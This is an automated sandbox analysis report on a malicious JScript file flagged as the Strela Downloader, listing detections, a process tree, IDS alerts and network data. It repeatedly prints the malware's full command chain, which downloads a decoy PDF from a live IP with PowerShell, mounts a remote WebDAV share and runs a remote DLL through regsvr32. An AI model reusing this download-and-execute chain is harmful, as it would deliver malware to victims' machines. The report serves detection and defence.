Edit tour

Windows Analysis Report
152068002360415087.js

Overview

General Information

Sample name:	152068002360415087.js
Analysis ID:	1588544
MD5:	6b6643e7e0f973d9eb4f4073b7975436
SHA1:	5cf8ed16e7713e51c893fa156b427446fcf24730
SHA256:	7488f74059f07d8796619674214317978231369274094fda6213b147a614db13
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2764 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\152068002360415087.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4812 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4584 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2764 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

cmd.exe (PID: 2860 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 732 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

AcroCEF.exe (PID: 7176 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7388 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1612,i,11899374974407083053,10168938055786033090,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

svchost.exe (PID: 7260 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2764	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4812, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4584, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4812, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4584, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\152068002360415087.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\152068002360415087.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\152068002360415087.js", ProcessId: 2764, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 732, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\152068002360415087.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2764, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, ProcessId: 4812, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\152068002360415087.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2764, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, ProcessId: 4812, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\152068002360415087.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2764, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, ProcessId: 4812, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\152068002360415087.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2764, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, ProcessId: 4812, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\152068002360415087.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2764, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, ProcessId: 4812, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\152068002360415087.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\152068002360415087.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\152068002360415087.js", ProcessId: 2764, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4812, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4584, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2860, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 732, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7260, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2860, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 732, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\152068002360415087.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2764, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, ProcessId: 4812, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:15:54.224421+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:15:57.042786+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:15:54.224421+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 152068002360415087.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 152068002360415087.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:15:54 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
